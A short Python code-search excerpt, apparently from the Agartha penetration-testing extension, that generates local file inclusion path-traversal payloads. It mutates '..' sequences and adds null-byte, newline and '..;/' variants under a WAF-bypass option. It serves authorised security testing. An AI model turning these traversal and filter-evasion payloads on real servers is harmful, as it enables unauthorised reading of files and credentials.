INNER CODE UNIT · Python
i
volkandindar/agartha · Agartha.py:576
i = i + 1
listLFI.append(_upperDirectory + filePath + "\n")
if self._cbDictWafBypass.isSelected():
suffixes = ["", ";index.html", "%00", "%00.html", "%0a", "%0a.html", "%0d", "%0d.html", "%09", "%09.html"]
for suffix in suffixes:
listLFI.append((_upperDirectory + filePath).replace("..", "...") + suffix + "\n")
listLFI.append((_upperDirectory + filePath).replace("..", "....") + suffix + "\n")
listLFI.append((_upperDirectory + filePath).replace("..", "..;") + suffix + "\n")
listLFI.append((_upperDirectory + self._txtTargetPath.text).replace("..", "...") + suffix + "\n")
listLFI.append((_upperDirectory + self._txtTargetPath.text).replace("..", "....") + suffix + "\n")
listLFI.append((_upperDirectory + self._txtTargetPath.text).replace("..", "..;") + suffix + "\n")
prefixes = ["/", "\\", "/..;/", "..;/", ".//"]
for prefix in prefixes:
suffixes = ["", ";index.html", "%00", "%00.html", "%0a", "%0a.html", "%0d", "%0d.html", "%09", "%09.html"]
for suffix in suffixes:
listLFI.append(prefix + _upperDirectory + filePath + suffix + "\n")